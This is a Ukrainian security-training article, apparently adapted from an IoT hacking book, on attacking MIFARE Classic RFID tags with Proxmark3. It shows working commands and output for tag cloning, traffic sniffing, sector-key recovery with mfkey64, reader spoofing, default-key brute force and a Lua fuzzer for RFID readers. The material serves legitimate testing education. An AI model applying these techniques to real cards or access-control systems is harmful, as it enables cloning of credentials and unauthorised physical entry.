Тепер ви можете знову  використовувати команду sim  для імітації зміненої мітки. Ви також можете змінити вміст пам’яті імітованої фізичної мітки за допомогою  параметра wrbl, за яким слідує номер блоку, тип використовуваного ключа (A або B) – значення за замовчуванням якого в цьому випадку FFFFFFFFFFFFF – і вміст у шістнадцятковому форматі:

proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f
--block no:1, key type:B, key:ff ff ff ff ff ff
--data: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
#db# WRITE BLOCK FINISHED
isOk:01

Переконайтеся, що певний блок був записаний  з параметром rdbl, за яким слідує блок під номером 01 з ключем типу B, рівним FFFFFFFFFFF:

proxmark3> hf mf rdbl 01 B FFFFFFFFFFFF
--block no:1, key type:B, key:ff ff ff ff ff ff
#db# READ BLOCK FINISHED
isOk:01 data:00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

Результат містить той самий шістнадцятковий вміст, який ви записали до цього блоку.

Атакуємо MIFARE за допомогою програми для Android

На телефонах Android можна запускати програми, які атакують картки MIFARE. Одним із поширених застосувань для цього є MIFARE Classic Tool, який використовує попередньо завантажений список ключів для перебору значень ключів і зчитування даних карти. Потім ви можете зберегти дані, щоб емулювати пристрій у майбутньому.

Щоб прочитати мітку, натисніть  кнопку READ TAG у  головному меню програми. Має з’явитися новий інтерфейс. Звідси ви можете вибрати список, що містить ключі за замовчуванням для тестування та індикатор прогресу, як показано на мал. 10.6.

Збережіть ці дані в новому записі, клацнувши значок дискети у верхній частині інтерфейсу. Щоб клонувати мітку, натисніть  кнопку WRITE TAG  у головному меню. У новому інтерфейсі виберіть запис, натиснувши  кнопку SELECT DUMP  , і запишіть його до іншої мітки. Після успішної операції зчитування програма виводить на екран дані, отримані з усіх блоків, як показано на мал. 10.7.

RAW-команди для небрендованих або некомерційних RFID-міток

У попередніх розділах ми використовували специфічні для постачальника команди для керування комерційними RFID-мітками за допомогою Proxmark3. Але системи IoT іноді використовують небрендовані (без назви) або некомерційні теги. У цьому випадку ви можете використовувати Proxmark3 для надсилання нетипових необроблених команд. Необроблені команди дуже корисні, коли ви можете отримати структури команд з таблиці даних міток, а ці команди ще не реалізовані в Proxmark3.

Натомість, у наступному прикладі, щоб  використовувати команду hf mf, як ми це робили в попередніх розділах, ми будемо використовувати необроблені команди для читання тегу MIFARE Classic розміром 1 КБ.

Ідентифікація картки та ознайомлення з її специфікацією

По-перше, скористайтеся  командою hf search, щоб переконатися, що карта знаходиться в межах досяжності зчитувача:

proxmark3> hf search
UID : 80 55 4b 6c
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

Потім перевірте специфікацію картки, яку ви можете знайти на сайті постачальника (https://www.nxp.com/docs/en/data-sheet/ MF1S50YYX_V1.pdf та https://www.nxp.com/docs/en/application-note/AN10833. pdf)). Згідно зі специфікацією, щоб встановити з’єднання з картою і виконати операцію пам’яті, ми повинні слідувати протоколу, наведеному на мал. 10.8.

Згідно з протоколом, для встановлення автентифікованого з’єднання з тегом MIFARE потрібно чотири команди. Перша команда, Request all або REQA, змушує мітку відповісти кодом, який включає розмір UID мітки. У фазі циклу уникнення зіткнень зчитувач запитує UID усіх міток у робочому полі, а на етапі вибору картки вибирає окрему мітку для подальших операцій. Потім зчитувач вказує місце в пам’яті мітки для операції доступу до пам’яті та автентифікується за допомогою відповідного ключа. Процес аутентифікації буде описаний нижче в розділі «Вилучення ключа сектора з перехопленого трафіку».

Надсилання необроблених команд

Використання необроблених команд означає, що ви вручну надсилатимете кожен конкретний байт команди (або його частину), відповідні командні дані та, зрештою, байти CRC для карток, які потребують виявлення помилок. Наприклад, команда Proxmark3 hf 14a raw дозволяє надсилати ISO14443A команди  на ISO14443A-сумісну мітку. Далі ви вводите необроблені команди у шістнадцятковому форматі після параметра -p.

Вам знадобляться шістнадцяткові коди операцій для команд, які ви хочете використовувати. Ви можете знайти їх у специфікації карти. Ці коди операцій відповідають крокам протоколу аутентифікації, показаним на рисунку 1. 10.8.

По-перше, скористайтеся командою hf 14a raw з параметром -p. Потім надішліть  команду request all,   яка відповідає шістнадцятковому коду операції 26. Специфікація вимагає  7 бітів, тому використовуйте параметр -b 7, щоб  визначити максимальну кількість бітів для використання. Значення за замовчуванням – 8 біт.

proxmark3> hf 14a raw -p -b 7 26
received 2 bytes:
04 00

Пристрій відповідає повідомленням про успіх під назвою ATQA зі значенням 0x4. Цей байт вказує на те, що розмір UID становить чотири байти. Друга команда – Anti-collision, яка відповідає шістнадцятковому коду операції 93 20:

proxmark3> hf 14a raw -p 93 20
received 5 bytes:
80 55 4B 6C F2

Пристрій у відповідь повідомляє про свій  UID 80 55 4b 6c. Він також повертає байт, згенерований операцією XOR, виконаною над усіма попередніми байтами. Тепер нам потрібно відправити  команду SELECT Card, яка відповідає  шістнадцятковому коду операції 93 70, за якою слідує попередня відповідь, яка містить UID тега:

proxmark3> hf 14a raw -p -c 93 70 80 55 4B 6C F2
received 3 bytes:
08 B6 DD

Нарешті, ви готові до автентифікації за допомогою ключа сектора типу A (шістнадцятковий код операції 60) і пароля за замовчуванням для сектора 00:

proxmark3> hf 14a raw -p -c 60 00
received 4 bytes:
5C 06 32 57

Тепер ви можете продовжити інші операції з пам’яттю, перелічені в специфікації, наприклад, читання блоку. Пропонуємо вам виконати цю вправу самостійно.

Підслуховування зв’язку між міткою та зчитувачем

Proxmark3 може прослуховувати транзакції між зчитувачем і тегом. Ця операція надзвичайно корисна, якщо ви хочете перевірити дані, якими обмінюються тег і пристрій IoT.

Щоб почати прослуховування каналу зв’язку, розмістіть антену Proxmark3 між міткою та зчитувачем, виберіть високочастотну або низькочастотну роботу, вкажіть реалізацію мітки та скористайтеся  опцією snoop. (Деякі етикетки, специфічні для конкретних постачальників, використовують  атрибутпринюхуватися.)

У наведеному нижче прикладі ми намагаємося перехопити обмін ISO14443A-сумісною міткою, тому вибираємо варіант 14a:

$ proxmark3> hf 14a snoop
#db# cancelled by button
#db# COMMAND FINISHED
#db# maxDataLen=4, Uart.state=0, Uart.len=0
#db# traceLen=11848, Uart.output[0]=00000093

Завершуємо захоплення натисканням кнопки Proxmark3, коли зв’язок між картою і зчитувачем завершено. Щоб отримати захоплені пакети, вкажіть високу або низьку частоту операції, параметр списку та  реалізацію мітки:

proxmark3> hf list 14a
Recorded Activity (TraceLen = 11848 bytes)
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
iso14443a - All times are in carrier periods (1/13.56Mhz)
iClass - Timings are not as accurate
…
0 |992 | Rdr | 52' | | WUPA
2228 | 4596 | Tag | 04 00 | |
7040 | 9504 | Rdr | 93 20 | | ANTICOLL
10676 | 16564 | Tag | 80 55 4b 6c f2 | |
19200 | 29728 | Rdr | 93 70 80 55 4b 6c f2 30 df | ok | SELECT_UID
30900 | 34420 | Tag | 08 b6 dd | |
36224 | 40928 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
42548 | 47220 | Tag | 63 17 ec f0 | |
56832 | 66208 | Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ?
67380 | 72116 | Tag | 0e 2b b8 3f! | |
…

Вихідні дані також декодують визначені операції. Знаки оклику поруч із шістнадцятковими байтами вказують на те, що під час захоплення сталася бітова помилка.

Вилучення ключа сектора з перехопленого трафіку

Прослуховування RFID-трафіку може розкрити конфіденційну інформацію, особливо коли теги використовують слабкі елементи автентифікації або незашифровані канали зв’язку. Оскільки теги MIFARE Classic використовують слабкий протокол автентифікації, ви можете витягти закритий ключ сектора, здійснивши одноразову успішну автентифікацію між тегом і RFID-зчитувачем.

Згідно зі специфікацією, теги MIFARE Classic виконують тристоронній контроль аутентифікації за допомогою RFID-зчитувача для кожного запитуваного сектора. Спочатку  RFID-мітка вибирає параметр з ім’ям nt і відправляє його на RFID-зчитувач.  Зчитувач виконує криптографічну операцію, використовуючи закритий ключ  і отриманий параметр. Він генерує ar-відповідь. Потім він вибирає параметр під назвою nr і надсилає його на RFID-мітку разом із  ар. Далі мітка виконує аналогічну криптографічну операцію над параметрами та закритим ключем, генеруючи відповідь, яку надсилає назад на RFID-зчитувач. Оскільки криптографічні операції, що виконуються зчитувачем і тегом, слабкі, знання цих параметрів дозволяє обчислити закритий ключ!

Давайте розглянемо перехоплення повідомлень, скоєних у попередньому розділі, щоб отримати такі параметри обміну:

proxmark3> hf list 14a
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
iso14443a - All times are in carrier periods (1/13.56Mhz)
iClass - Timings are not as accurate
 Start |End | Src | Data (! denotes parity error, ' denotes short bytes)| CRC | Annotation |
 ------------|------------|-----|-----------------------------------------------------------
---
 0 |992 | Rdr | 52' | | WUPA
 2228 | 4596 | Tag | 04 00 | |
 7040 | 9504 | Rdr | 93 20 | | ANTICOLL
 10676 | 16564 | Tag | 80 55 4b 6c f2 | | 
 19200 | 29728 | Rdr | 93 70 80 55 4b 6c f2 30 df | ok | SELECT_UID
 30900 | 34420 | Tag | 08 b6 dd | |
 36224 | 40928 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
 42548 | 47220 | Tag | 63 17 ec f0 | | 
 56832 | 66208 | Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ? 
 67380 | 72116 | Tag | 0e 2b b8 3f! | |

Ми можемо ідентифікувати UID карти як значення, яке стоїть перед командою SELECT_UID. Параметри nt, nr, ar та at з’являються лише після команди AUTH-A(0), завжди у цьому порядку. Вихідний код Proxmark3 містить інструмент з ім’ям mfkey64, який може виконати нам криптографічні обчислення. Передайте йому UID карти, за яким слідують параметри nt, nr, ar та at:

$ ./tools/mfkey/mfkey64 80554b6c 6317ecf0 5f3efbd2 940e946b 0e2bb83f
MIFARE Classic key recovery - based on 64 bits of keystream
Recover key from only one complete authentication!
Recovering key for:
 uid: 80554b6c
 nt: 6317ecf0
 {nr}: 5f3efbd2
 {ar}: 940e946b
 {at}: 0e2bb83f
LFSR successors of the tag challenge:
 nt' : bb2a17bc
 nt'': 70010929
Time spent in lfsr_recovery64(): 0.09 seconds
Keystream used to generate {ar} and {at}:
 ks2: 2f2483d7
 ks3: 7e2ab116
 Found Key: [FFFFFFFFFFFF]

Якщо параметри правильні, інструмент обчислює закритий ключ  для сектора.

Атака спуфінгу RFID

У цьому розділі ми покажемо вам, як підробити законну RFID-мітку та виконати атаку грубої сили на елемент керування автентифікацією зчитувача RFID. Ця атака корисна у випадках, коли у вас є довгостроковий доступ до законного читача та обмежений доступ до позначки жертви.

Як ви могли помітити, легітимний тег надсилає відповідь at законному читачеві  лише після триетапної автентифікації. Зловмисники, які мають фізичний доступ до зчитувача, можуть підробити RFID-мітку, згенерувати власну відповідь nt і  отримати nr і ar від законного читача. Хоча сеанс автентифікації не може завершитися успішно, оскільки зловмисники не знають ключа сектора, вони можуть здійснити атаку шляхом перерахування інших параметрів і обчислити ключ.

Щоб виконати законну атаку читача, використовуйте команду du, що імітує тег hf mf sim:

proxmark3> hf mf sim *1 u 19349245 x i
mf sim cardsize: 1K, uid: 19 34 92 45 , numreads:0, flags:19 (0x13)
Press pm3-button to abort simulation
#db# Auth attempt {nr}{ar}: c67f5ca8 68529499
Collected two pairs of AR/NR which can be used to extract keys from reader:

Символ *   вибирає всі блоки тегів. Наступна цифра вказує на обсяг пам’яті (в даному прикладі 1 для MIFARE Classic дорівнює 1 КБ). Параметр u  нумерує UID підробленої RFID-мітки, а параметр x дозволяє атаку.  Параметр i дозволяє користувачеві отримувати інтерактивний вихід.

Вихідні дані команди будуть містити значення nr і ar, які ми можемо використовувати для виконання обчислення ключа так само, як і в попередньому розділі. Зверніть увагу, що навіть після обчислення ключа сектора нам потрібно буде отримати доступ до мітки, що підробляється, щоб прочитати його пам’ять.

Автоматизація RFID-атак за допомогою механізму сценаріїв Proxmark3

Програмне забезпечення Proxmark3 поставляється з попередньо завантаженим списком сценаріїв автоматизації, які можна використовувати для виконання простих завдань. Щоб отримати повний список, скористайтеся  командою script list:

$ proxmark3> script list
brutesim.lua A script file
tnp3dump.lua A script file
…
dumptoemul.lua A script file
mfkeys.lua A script file
test_t55x7_fsk.lua A script file

Потім використовуйте команду запуску скрипта, за якою слідує його ім’я, щоб виконати один із скриптів. Наприклад, наступна команда виконує скрипт mfkeys, в якому використовуються методи, представлені вище в цьому розділі (див. розділ «Злам ключів метод перебору») для автоматизації процесу прямого підбору пароля MIFARE Classic:

$ proxmark3> script run mfkeys
--- Executing: mfkeys.lua, args ''
This script implements check keys.
It utilises a large list of default keys (currently 92 keys).
If you want to add more, just put them inside mf_default_keys.lua.
Found a NXP MIFARE CLASSIC 1k | Plus 2k tag
Testing block 3, keytype 0, with 85 keys
…
Do you wish to save the keys to dumpfile? [y/n] ?

Ще одним дуже корисним скриптом є dumptoemul, який перетворює файл .bin, створений за допомогою  команди dump, у файл .eml, який ви можете безпосередньо завантажити в пам’ять емулятора Proxmark3:

proxmark3> script run dumptoemul -i dumpdata.bin -o CEA0B6B4.eml
--- Executing: dumptoemul.lua, args '-i dumpdata.bin -o CEA0B6B4.eml'
Wrote an emulator-dump to the file CEA0B6B4.eml
-----Finished

Параметр -i визначає файл  вхідних даних (у цьому випадку dumpdata.bin), а параметр -o визначає файл результатів.

Ці скрипти можуть бути дуже корисними, коли у вас є фізичний доступ до пристрою IoT з підтримкою RFID лише протягом обмеженого періоду часу і ви хочете автоматизувати велику кількість операцій тестування.

Спеціальні випадки використання фаззингу RFID

У цьому розділі ми покажемо вам, як використовувати скриптовий движок Proxmark3 для виконання простої операції фаззингу, заснованої на мутаціях у зчитувачі RFID. Фаззери ітеративно або випадковим чином генерують вхідні дані для цільового пристрою, що може призвести до проникнення в пристрій без захисту. Замість того, щоб намагатися знайти відомі дефекти в системі з підтримкою RFID, ви можете використовувати цей процес для виявлення нових вразливостей у реалізації.

Фаззери, засновані на мутаціях, генерують вхідні дані, змінюючи початкове значення, яке зазвичай є звичайними даними, які зазвичай застосовуються в системі. У нашому випадку це початкове значення може бути дійсною RFID-міткою, яку ми успішно клонували. Ми створимо скрипт, який автоматизує процес підключення до RFID-зчитувача як цього юридичного мітки, а потім генерує недійсні, несподівані або випадкові дані в його блоках пам’яті. Коли зчитувач намагається обробити спотворені дані, може статися несподіваний потік коду, який спричиняє збій програми або пристрою. Помилки та винятки можуть допомогти вам знайти небезпечні лазівки у вашому додатку для зчитування RFID.

Ми орієнтуємося на вбудований RFID-зчитувач на пристрої Android і програмне забезпечення, яке отримує дані RFID-міток. (У магазині Android Play можна знайти багато програм для зчитування RFID-файлів, які можна використовувати як потенційні цілі.) Напишемо код фаззингу на мові Lua. Ви можете знайти повний початковий код у репозиторії книги.

Для початку збережіть наступну скелетну заготовку скрипту у папці Proxmark3 client/scripts, використовуючи ім’я fuzzer.lua. Цей скрипт, у якого немає жодних функцій, тепер буде з’являтися у списку, коли ви використовуєте команду script list:

File: fuzzer.lua
author = "Book Authors"
desc = "This is a script for simple fuzzing of NFC/RFID implementations"
function main(args)
end
main()

Потім розширте сценарій, щоб використовувати Proxmark3, щоб підробити законний тег і встановити з’єднання з читачем. Ми будемо використовувати мітку, яку ми вже прочитали, експортовану в .bin-файл  за допомогою команди dump і перетворивши його на файл .eml  за допомогою сценарію dumptoemul. Припустимо, що цей файл має ім’я CEA0B6B4.eml.

По-перше, давайте створимо локальну змінну  тегу для зберігання даних тегу:

local tag = {}

Далі створюємо  функцію load_seed_tag(), яка завантажує збережені дані з файлу CEA0B6B4.eml в пам’ять емулятора Proxmark3, а також в раніше створену локальну змінну з іменем tag:

function load_seed_tag()
 print("Loading seed tag...").
 core.console("hf mf eload CEA0B6B4") 
 os.execute('sleep 5')
 local infile = io.open("CEA0B6B4.eml", "r")
 if infile == nil then
 print(string.format("Could not read file %s",tostring(input)))
 end
 local t = infile:read("*all")
 local i = 0
 for line in string.gmatch(t, "[^\n]+") do
 if string.byte(line,1) ~= string.byte("+",1) then
 tag[i] = line 
 i = i + 1
 end
 end
end

Щоб завантажити файл .eml у пам’ять Proxmark3, використовуємо параметр eload. Ви можете використовувати команди Proxmark3, вказавши їх як аргументи у виклику функції core.console(). Наступна частина функції вручну зчитує файл, аналізує рядки та додає вміст до змінної tag. Як ми вже говорили, іноді команді eload не вдається з першого разу передати дані з усіх збережених секторів на згадку про Proxmark3, тому вам, можливо, доведеться використовувати їх неодноразово.

Наш спрощений фазер змінить початкове значення змінної tag, тому нам потрібно написати функцію, яка створює випадкові зміни в пам’яті вихідної мітки. Використовуємо локальну змінну з іменем charset для зберігання доступних шістнадцяткових символів, які ми можемо використовувати для внесення цих змін:

local charset = {} do
 for c = 48, 57 do table.insert(charset, string.char(c)) end
 for c = 97, 102 do table.insert(charset, string.char(c)) end
end

Щоб заповнити змінну charset ми виконуємо ітерацію уявлення ASCII символів від 0 до 9 та від a до f. Потім створюємо функцію randomize(), яка використовує символи, що зберігаються у попередній змінній, для створення мутацій в емульованому тезі:

function randomize(block_start, block_end)
 local block = math.random(block_start, block_end) 
 local position = math.random(0,31) 
 local value = charset[math.random(1,16)] 
print("Randomizing block " .. block .. " and position " .. position)
 local string_head = tag[block]:sub(0, position)
 local string_tail = tag[block]:sub(position+2)
 tag[block] = string_head .. value .. string_tail
 print(tag[block])
 core.console(„hf mf eset „ .. block .. „ „ .. tag[block]) 
 os.execute('sleep 5')
end

Точніше, ця функція випадково вибирає блок пам’яті мітки та позицію в кожному вибраному блоці, а потім вводить нову мутацію, замінюючи цей символ випадковим значенням набору символів. Потім ми оновлюємо пам’ять Proxmark3 за допомогою команда hf mf eset. Далі створюємо функцію з ім’ям fuzz(), яка багаторазово використовує функцію randomize() для створення нової мутації у вихідних даних мітки та емулює мітку для зчитувача RFID:

function fuzz()
 core.clearCommandBuffer()
 core.console("hf mf dbg 0")
 os.execute('sleep 5')
 while not core.ukbhit() do
 randomize(0,63)
  core.console("hf mf sim *1 u CEA0B6B4")
 end
 print("Aborted by user")
end

Функція fuzz() також використовує виклик API core.clearCommandBuffer() для видалення всіх команд з черги команд Proxmark3 і hf mf dbg для відключення повідомлень налагодження. Вона виконує фазинг кілька разів, використовуючи цикл while, поки Користувач не натисне апаратну кнопку Proxmark3. Ми виявляємо це за допомогою API core.ukbhit(). Ми реалізуємо симуляції мітки за допомогою команди hf mf sim. Потім додаємо функції до вихідного каркасу скрипта у fuzzer. lua та змінюємо функцію main, додаючи виклик функцій load_seed_tag() та fuzz():

File: fuzzer.lua
author = "Book Authors"
desc = "This is a script for simple fuzzing of NFC/RFID implementations"
 …Previous functions..
function main(args)
 load_seed_tag()
 fuzz()
end
main()

Щоб почати фаззінг, розташуйте антену Proxmark3 біля RFID-зчитувача, який зазвичай розташований на задній панелі Android-пристрою (мал 10.9).

Потім запустіть скрипт run fuzzer command:

proxmark3> script run fuzzer
Loading seed tag...
...........................................................
Loaded 64 blocks from file: CEA0B6B4.eml
#db# Debug level: 0
Randomizing block 6 and byte 19
00000000000000000008000000000000
mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02)
Randomizing block 5 and byte 8
636f6dfe600000000000000000000000
mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02)
Randomizing block 5 and byte 19
636f6dfe600000000004000000000000

Вихідні дані повинні містити точну мутацію, яка відбувається кожного разу, коли зчитувач спілкується. Кожного разу, коли встановлюється з’єднання, зчитувач намагатиметься витягти та проаналізувати змінені дані мітки. Залежно від мутації, ці вхідні дані можуть впливати на поведінку читача, що призводить до непередбачуваної поведінки або навіть збоїв програми. У гіршому випадку дверний замок з підтримкою RFID, на якому встановлено програмне забезпечення для контролю доступу, може вийти з ладу, коли він отримає змінений вхід, що дозволить будь-кому вільно відкрити двері.

Ми можемо оцінити продуктивність нашого фузера експериментально. Оцінити кількість можливих небезпечних помилок можна, підрахувавши виявлені збої при введенні даних. Зауважте, що цей скрипт є спрощеним фузером, який дотримується наївного підходу: він використовує прості випадкові числа для створення мутацій у заданих вхідних даних. Тому ми не очікуємо, що він буде дуже ефективним у виявленні програмних збоїв.

Менш наївні рішення можуть використовувати покращені мутації, відображати протокол для детального фаззингу або навіть використовувати аналіз програмного забезпечення та інструменти для взаємодії з великою кількістю читачів. Для цього буде потрібно ретельне вивчення документації і постійне вдосконалення фуззера. Для цього спробуйте просунуті інструменти фаззингу, такі як American Fuzzy Lop (AFL) або libFuzzer. Це завдання виходить за рамки книги, і ми залишаємо його як вправу, яку ви можете виконати самостійно.

Висновок

У цьому розділі ми дослідили технології RFID і запустили ряд клонованих атак проти широко поширених низькочастотних і високочастотних реалізацій RFID. Ми дізналися, як отримати ключ для доступу до захищеної паролем пам’яті карт MIFARE Classic, а потім зчитувати і модифікувати їх пам’ять. Нарешті, ми розглянули техніку, яка дозволяє відправляти необроблені команди на будь-який ISO14493-сумісний лейбл на основі його специфікації, і навчилися використовувати скрипти Proxmark3.

Ми використовували матеріали з книги “The Definitive Guide to Attacking the Internet of Things , яку  написали Фотиос Чанцис, Иоаннис Стаис,
Паулино Кальдерон, Евангелос Деирменцоглу и Бо Вудс.

Інші статті по темі
Для початківцівОсвіта
Читати далі
Частина 3. Загрози у світі речей інтернету (Методологія тестування безпеки)
В нашій частині ми докладно розберемося з основними загрозами, які можуть трапитися у світі IoT. Від вразливостей в програмному забезпеченні до фізичного доступу до пристроїв.
1071
Для початківцівОсвіта
Читати далі
Частина 6. Злом мережі. (Використання мережі з нульовою конфігурацією)
Використання мережі з нульовою конфігурацією: дізнайтеся, як ефективно налаштувати та захистити вашу мережеву систему без ручних налаштувань. Поглибіть свої знання в мережевих технологіях з нашим керівництвом.
1333
Для початківцівОсвіта
Читати далі
Частина 8. Злом апаратної частини системи. (SPI та I2C)
Ми дослідимо, як ці протоколи можуть бути використані для вилучення даних з мікроконтролерів та периферійних пристроїв, а також для впливу на їхню роботу. Основний акцент буде зроблено на практичних прикладах використання SPI та I2C для розуміння та підвищення безпеки систем IoT.
1184
Для початківцівОсвіта
Читати далі
Частина 11. Злом радіоканалів. (Bluetooth Low Energy)
У цьому розділі ви дізнаєтеся, як працює зв'язок BLE, вивчите поширене апаратне та програмне забезпечення для зв'язку з пристроями BLE, а також дізнаєтеся, як ефективно виявляти та використовувати вразливості безпеки.
1155
Для початківцівОсвіта
Читати далі
Частина 12. Злом радіоканалів. (Радіоканали середнього радіусу дії злом Wi-Fi)
В розділі, присвяченому технології Wi-Fi в контексті пристроїв Інтернету речей (IoT), ми дослідимо основи функціонування Wi-Fi, а також вивчимо деякі з основних атак, які можуть бути спрямовані на бездротові мережі.
1630
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.